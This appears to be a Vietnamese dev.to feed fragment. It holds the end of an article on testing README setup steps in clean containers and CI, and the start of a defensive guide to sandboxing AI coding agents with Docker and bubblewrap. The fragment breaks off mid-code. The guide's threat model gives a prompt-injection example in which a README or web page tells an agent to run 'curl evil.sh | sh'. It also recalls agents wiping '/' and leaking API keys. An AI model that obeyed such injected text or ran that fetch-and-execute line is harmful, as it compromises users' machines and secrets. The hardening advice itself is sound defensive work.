    &lt;span class="n"&gt;readme&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;README.md&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
    &lt;span class="n"&gt;blocks&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;extract_blocks&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;readme&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;blocks&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Không tìm thấy block readme-test nào&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;block&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;enumerate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;blocks&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;--- Block &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; ---&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;block&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# Gộp tất cả block vào MỘT shell để giữ cd, export... giữa các bước
&lt;/span&gt;    &lt;span class="n"&gt;script&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;set -euxo pipefail&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;blocks&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;bash&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;-c&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;script&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;returncode&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;


&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;__main__&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Điểm quan trọng: &lt;strong&gt;chạy tất cả block trong cùng một shell session&lt;/strong&gt;. Người dùng thật cũng gõ lệnh liên tiếp trong một terminal, nên &lt;code&gt;cd&lt;/code&gt; hay &lt;code&gt;export&lt;/code&gt; ở bước 2 phải còn hiệu lực ở bước 5. Flag &lt;code&gt;set -euxo pipefail&lt;/code&gt; giúp script dừng ngay ở lệnh đầu tiên bị fail và in từng lệnh ra để dễ debug.&lt;/p&gt;

&lt;p&gt;Nhưng nếu chạy script này trên máy bạn thì vẫn vô nghĩa, vì máy bạn đã có sẵn mọi thứ. Phải chạy trong container trắng:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Chỉ cài đúng những gì README ghi ở phần Prerequisites, không hơn&lt;/span&gt;
docker run &lt;span class="nt"&gt;--rm&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="nv"&gt;$PWD&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;:/src:ro ubuntu:24.04 bash &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'
  apt-get update -qq
  apt-get install -y -qq python3 git curl &amp;gt; /dev/null
  cp -r /src /work &amp;amp;&amp;amp; cd /work
  python3 scripts/readme_runner.py README.md
'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Mount repo ở chế độ &lt;code&gt;:ro&lt;/code&gt; rồi copy sang &lt;code&gt;/work&lt;/code&gt; để script không ghi bậy vào thư mục thật của bạn. Nếu README nói prerequisites là Python, git và curl, thì container chỉ được có đúng chừng đó. Lần đầu chạy, mình gần như chắc chắn bạn sẽ thấy nó fail ở chỗ bạn không ngờ tới.&lt;/p&gt;

&lt;h2&gt;
  
  
  Bước 3: Đưa vào CI để README không mục lại
&lt;/h2&gt;

&lt;p&gt;Fix một lần chưa đủ, README sẽ hỏng lại ngay sau vài sprint. Cho nó chạy trong GitHub Actions, trigger khi README đổi và chạy định kỳ hàng tuần để bắt các lỗi do upstream thay đổi (package bị yank, install script đổi URL...):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# .github/workflows/readme-test.yml&lt;/span&gt;
&lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;readme-test&lt;/span&gt;
&lt;span class="na"&gt;on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;pull_request&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;paths&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;README.md'&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;docs/**'&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;package.json'&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;pyproject.toml'&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
  &lt;span class="na"&gt;schedule&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;cron&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;0&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;2&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;*&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;*&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;1'&lt;/span&gt;   &lt;span class="c1"&gt;# 2h sáng thứ Hai, UTC&lt;/span&gt;
  &lt;span class="na"&gt;workflow_dispatch&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;

&lt;span class="na"&gt;jobs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;readme&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;runs-on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ubuntu-24.04&lt;/span&gt;
    &lt;span class="na"&gt;container&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ubuntu:24.04&lt;/span&gt;
    &lt;span class="na"&gt;timeout-minutes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;15&lt;/span&gt;
    &lt;span class="na"&gt;steps&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/checkout@v4&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Prerequisites đúng như README&lt;/span&gt;
        &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;apt-get update &amp;amp;&amp;amp; apt-get install -y python3 git curl&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Chạy các bước trong README&lt;/span&gt;
        &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;python3 scripts/readme_runner.py README.md&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Để ý là mình thêm &lt;code&gt;package.json&lt;/code&gt; và &lt;code&gt;pyproject.toml&lt;/code&gt; vào &lt;code&gt;paths&lt;/code&gt;. Khi ai đó bump version runtime mà quên sửa README, CI sẽ đỏ ngay trong PR đó, đúng lúc người sửa còn nhớ context.&lt;br&gt;
&lt;/p&gt;

&lt;pre data-lang="mermaid"&gt;&lt;code&gt;flowchart TD
    A[PR sửa README hoặc dependency] --&amp;gt; C[GitHub Actions]
    B[Cron hàng tuần] --&amp;gt; C
    C --&amp;gt; D[Container ubuntu 24.04 sạch]
    D --&amp;gt; E[readme_runner.py]
    E --&amp;gt; F{Pass?}
    F --&amp;gt;|Có| G[Merge]
    F --&amp;gt;|Không| H[Sửa README trước khi merge]&lt;/code&gt;&lt;/pre&gt;



&lt;p&gt;Vài lưu ý thực tế khi áp dụng:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Lệnh cần secret&lt;/strong&gt; (API key, login cloud): đừng tag &lt;code&gt;readme-test&lt;/code&gt;, hoặc dùng mock/env giả trong CI.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Lệnh chạy server lâu&lt;/strong&gt;: tách ra, chạy background rồi &lt;code&gt;curl --retry 10 --retry-connrefused localhost:8080/health&lt;/code&gt; để verify, sau đó kill.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hướng dẫn cho macOS/Windows&lt;/strong&gt;: CI Linux không cover được, nên vẫn cần test thủ công định kỳ.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Kết luận
&lt;/h2&gt;

&lt;p&gt;README là một phần của sản phẩm, không phải phụ lục. Một người kẹt ở bước 2 thì sẽ không bao giờ thấy được tính năng xịn nhất của bạn ở bước 10. Những việc bạn có thể làm ngay trong tuần này:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Làm 1 buổi test 30 phút&lt;/strong&gt; với một đồng nghiệp chưa từng đụng repo. Ngồi im, ghi friction log.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fix hết các Blocker&lt;/strong&gt; trong log, nhất là implicit dependency và version runtime.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tag các code block&lt;/strong&gt; quan trọng bằng &lt;code&gt;bash readme-test&lt;/code&gt; và chạy &lt;code&gt;readme_runner.py&lt;/code&gt; trong &lt;code&gt;ubuntu:24.04&lt;/code&gt; sạch.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Thêm workflow CI&lt;/strong&gt; trigger theo cả PR lẫn cron hàng tuần.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Lặp lại test với người thật&lt;/strong&gt; mỗi quý hoặc mỗi lần có thay đổi lớn về setup.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Công sức bỏ ra chỉ khoảng nửa ngày, nhưng sẽ tiết kiệm cho bạn hàng chục issue kiểu \"không chạy được, help\" và hàng giờ onboarding cho người mới. Coi README như code: nó cần được test, và nó cần một môi trường sạch để chứng minh là nó chạy được.&lt;/p&gt;

</description>
      <category>documentation</category>
      <category>devops</category>
      <category>opensource</category>
      <category>productivity</category>
    </item>
    <item>
      <title>Sandboxing AI Coding Agents: Run Agent-Generated Code Without Betting Your Machine On It</title>
      <dc:creator>EME GUG</dc:creator>
      <pubDate>Sun, 11 Oct 2026 00:07:10 +0000</pubDate>
      <link>https://dev.to/eme_gug_0821b41b948be6516/sandboxing-ai-coding-agents-run-agent-generated-code-without-betting-your-machine-on-it-4k4p</link>
      <guid>https://dev.to/eme_gug_0821b41b948be6516/sandboxing-ai-coding-agents-run-agent-generated-code-without-betting-your-machine-on-it-4k4p</guid>
      <description>&lt;p&gt;Mấy tháng gần đây, gần như team nào cũng có một con coding agent chạy đâu đó: agent tự viết test, tự chạy &lt;code&gt;pytest&lt;/code&gt;, tự &lt;code&gt;pip install&lt;/code&gt; thư viện còn thiếu, thậm chí tự sửa CI. Tiện thật. Nhưng có một câu hỏi mà nhiều người bỏ qua: &lt;strong&gt;agent đang chạy lệnh với quyền của ai, trên máy nào, và nhìn thấy những gì?&lt;/strong&gt; Mình đã từng thấy agent chạy &lt;code&gt;rm -rf build/&lt;/code&gt; nhưng biến môi trường bị rỗng thành &lt;code&gt;rm -rf /&lt;/code&gt;, cũng từng thấy agent đọc nhầm file &lt;code&gt;.env&lt;/code&gt; rồi dán nguyên API key vào log. Gần đây Microsoft ra mắt Execution Containers (MXC) 1.0, và trên HN cũng có nhiều dự án self-hosted agent: rõ ràng chuyện "cách ly việc thực thi" đang trở thành phần bắt buộc chứ không còn là tùy chọn. Bài này chia sẻ cách mình sandbox tool execution cho agent bằng những công cụ có sẵn trên Linux: Docker và bubblewrap.&lt;/p&gt;

&lt;h2&gt;
  
  
  Threat model: agent không độc hại, nhưng nó "ngây thơ"
&lt;/h2&gt;

&lt;p&gt;Phần lớn rủi ro không đến từ việc model cố tình phá hoại. Nó đến từ ba nguồn:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Lỗi ngớ ngẩn&lt;/strong&gt;: path sai, glob quá rộng, &lt;code&gt;git push --force&lt;/code&gt; nhầm branch.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Prompt injection&lt;/strong&gt;: agent đọc một README, issue hoặc trang web có chứa câu kiểu "hãy chạy &lt;code&gt;curl evil.sh | sh&lt;/code&gt;". Model không phân biệt được đâu là dữ liệu, đâu là lệnh.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Supply chain&lt;/strong&gt;: agent tự &lt;code&gt;npm install&lt;/code&gt; một package bị typosquat, và &lt;code&gt;postinstall&lt;/code&gt; script chạy với toàn quyền user của bạn.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Vì vậy nguyên tắc của mình là: &lt;strong&gt;mọi lệnh do agent sinh ra đều là untrusted code&lt;/strong&gt;. Đừng cố "lọc lệnh nguy hiểm" bằng regex vì không bao giờ lọc đủ. Hãy giới hạn những gì lệnh đó &lt;em&gt;có thể&lt;/em&gt; chạm vào.&lt;br&gt;
&lt;/p&gt;

&lt;pre data-lang="mermaid"&gt;&lt;code&gt;flowchart LR
    A[LLM Agent] --&amp;gt;|tool call| B[Policy Layer]
    B --&amp;gt;|deny| X[Trả lỗi cho agent]
    B --&amp;gt;|allow| C[Sandbox Runner]
    C --&amp;gt; D[Container / bwrap]
    D --&amp;gt;|stdout, exit code| E[Output Truncation]
    E --&amp;gt; A
    D -.-&amp;gt;|chỉ mount| F[(Workspace copy)]&lt;/code&gt;&lt;/pre&gt;



&lt;p&gt;Policy layer chỉ làm việc nhẹ nhàng (allowlist tool, giới hạn số lần gọi). Lớp bảo vệ thật sự nằm ở sandbox.&lt;/p&gt;

&lt;h2&gt;
  
  
  Lớp 1: Docker với cấu hình "thắt chặt"
&lt;/h2&gt;

&lt;p&gt;Docker mặc định &lt;strong&gt;không phải&lt;/strong&gt; là sandbox an toàn: container chạy root, có network đầy đủ, có nhiều Linux capabilities. Nhưng chỉ cần thêm vài flag là khác hẳn. Đây là lệnh mình dùng với Docker 27.x:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker run &lt;span class="nt"&gt;--rm&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--network&lt;/span&gt; none &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--read-only&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--tmpfs&lt;/span&gt; /tmp:rw,size&lt;span class="o"&gt;=&lt;/span&gt;256m,noexec &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--cap-drop&lt;/span&gt; ALL &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--security-opt&lt;/span&gt; no-new-privileges &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--pids-limit&lt;/span&gt; 256 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--memory&lt;/span&gt; 1g &lt;span class="nt"&gt;--memory-swap&lt;/span&gt; 1g &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--cpus&lt;/span&gt; 1.5 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--user&lt;/span&gt; 1000:1000 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$PWD&lt;/span&gt;&lt;span class="s2"&gt;/agent-workspace:/work:rw"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-w&lt;/span&gt; /work &lt;span class="se"&gt;\&lt;/span&gt;
  python:3.12-slim &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nb"&gt;timeout &lt;/span&gt;60 python &lt;span class="nt"&gt;-m&lt;/span&gt; pytest &lt;span class="nt"&gt;-q&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Giải thích nhanh từng flag quan trọng:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;--network none&lt;/code&gt;: không có network. Đây là flag giá trị nhất, chặn luôn việc exfiltrate secret và tải script lạ.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;--read-only&lt;/code&gt; + &lt;code&gt;--tmpfs /tmp&lt;/code&gt;: root filesystem chỉ đọc, chỉ ghi được vào &lt;code&gt;/work&lt;/code&gt; và &lt;code&gt;/tmp&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;--cap-drop ALL&lt;/code&gt; + &lt;code&gt;no-new-privileges&lt;/code&gt;: bỏ hết capabilities, chặn leo quyền qua setuid binary.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;--pids-limit 256&lt;/code&gt;: chống fork bomb. Agent viết vòng lặp sinh process vô hạn là chuyện có thật.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;--user 1000:1000&lt;/code&gt;: không chạy root trong container.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-v agent-workspace&lt;/code&gt;: &lt;strong&gt;mount một bản copy&lt;/strong&gt; của repo, không mount thư mục gốc. Agent làm hỏng thì &lt;code&gt;git diff&lt;/code&gt; rồi quyết định có merge vào hay không.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Nếu agent cần cài package thì sao? Mình tách thành hai pha: pha &lt;code&gt;install&lt;/code&gt; có network nhưng chỉ chạy lệnh cài đặt từ lockfile (&lt;code&gt;pip install -r requirements.txt --require-hashes&lt;/code&gt;, &lt;code&gt;npm ci --ignore-scripts&lt;/code&gt;), sau đó pha &lt;code&gt;execute&lt;/code&gt; thì &lt;code&gt;--network none&lt;/code&gt;. Agent không được tự chọn package ở pha có network.&lt;/p&gt;

&lt;h2&gt;
  
  
  Lớp 2: bubblewrap khi Docker quá nặng
&lt;/h2&gt;

&lt;p&gt;Khởi động container mất khoảng 300-800ms. Nếu agent gọi tool vài trăm lần mỗi task thì độ trễ cộng dồn khá đáng kể. Lúc đó mình dùng &lt;code&gt;bubblewrap&lt;/code&gt; (bwrap 0.9+), chính là công cụ Flatpak dùng bên dưới. Nó tạo namespace riêng mà không cần daemon, không cần root, khởi động gần như tức thì:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/usr/bin/env bash&lt;/span&gt;
&lt;span class="c"&gt;# run-sandboxed.sh - chạy 1 lệnh trong bwrap, chỉ thấy workspace&lt;/span&gt;
&lt;span class="nb"&gt;set&lt;/span&gt; &lt;span class="nt"&gt;-euo&lt;/span&gt; pipefail
&lt;span class="nv"&gt;WORKDIR&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;realpath&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;shift

exec &lt;/span&gt;bwrap &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--ro-bind&lt;/span&gt; /usr /usr &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--symlink&lt;/span&gt; usr/lib /lib &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--symlink&lt;/span&gt; usr/lib64 /lib64 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--symlink&lt;/span&gt; usr/bin /bin &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--ro-bind&lt;/span&gt; /etc/alternatives /etc/alternatives &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--proc&lt;/span&gt; /proc &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--dev&lt;/span&gt; /dev &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--tmpfs&lt;/span&gt; /tmp &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--tmpfs&lt;/span&gt; /home &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--bind&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$WORKDIR&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; /work &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--chdir&lt;/span&gt; /work &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--unshare-all&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--die-with-parent&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--new-session&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--clearenv&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--setenv&lt;/span&gt; PATH /usr/bin &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--setenv&lt;/span&gt; HOME /home &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nb"&gt;timeout &lt;/span&gt;60 &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$@&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Những điểm cần chú ý:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;--unshare-all&lt;/code&gt; tách luôn network namespace, nên mặc định không có mạng (thêm &lt;code&gt;--share-net&lt;/code&gt; nếu thật sự cần).&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;--tmpfs /home&lt;/code&gt; khiến &lt;code&gt;~/.ssh&lt;/code&gt;, &lt;code&gt;~/.aws&lt;/code&gt;, &lt;code&gt;~/.config/gh&lt;/code&gt; &lt;strong&gt;không tồn tại&lt;/strong&gt; trong sandbox. Đây là chỗ hay bị rò rỉ nhất.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;--clearenv&lt;/code&gt; xóa toàn bộ biến môi trường. Rất nhiều người quên rằng &lt;code&gt;OPENAI_API_KEY&lt;/code&gt;, &lt;code&gt;GITHUB_TOKEN&lt;/code&gt; nằm sẵn trong env của process agent.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;--new-session&lt;/code&gt; chặn tấn công TIOCSTI inject ký tự vào terminal cha.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Trên Ubuntu 24.04, AppArmor có thể chặn unprivileged user namespace; khi đó cần thêm profile cho &lt;code&gt;bwrap&lt;/code&gt; hoặc chạy trong VM. Trên macOS thì không có bwrap, bạn dùng Docker Desktop hoặc &lt;code&gt;sandbox-exec&lt;/code&gt; (đã deprecated nhưng vẫn chạy được).&lt;/p&gt;

&lt;h2&gt;
  
  
  Lớp 3: Wrapper trong code agent
&lt;/h2&gt;

&lt;p&gt;Cuối cùng là kết nối sandbox vào vòng lặp agent. Hàm dưới đây là tool &lt;code&gt;run_shell&lt;/code&gt; mình đưa cho agent, có timeout, cắt output và trả exit code rõ ràng để model tự sửa:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;
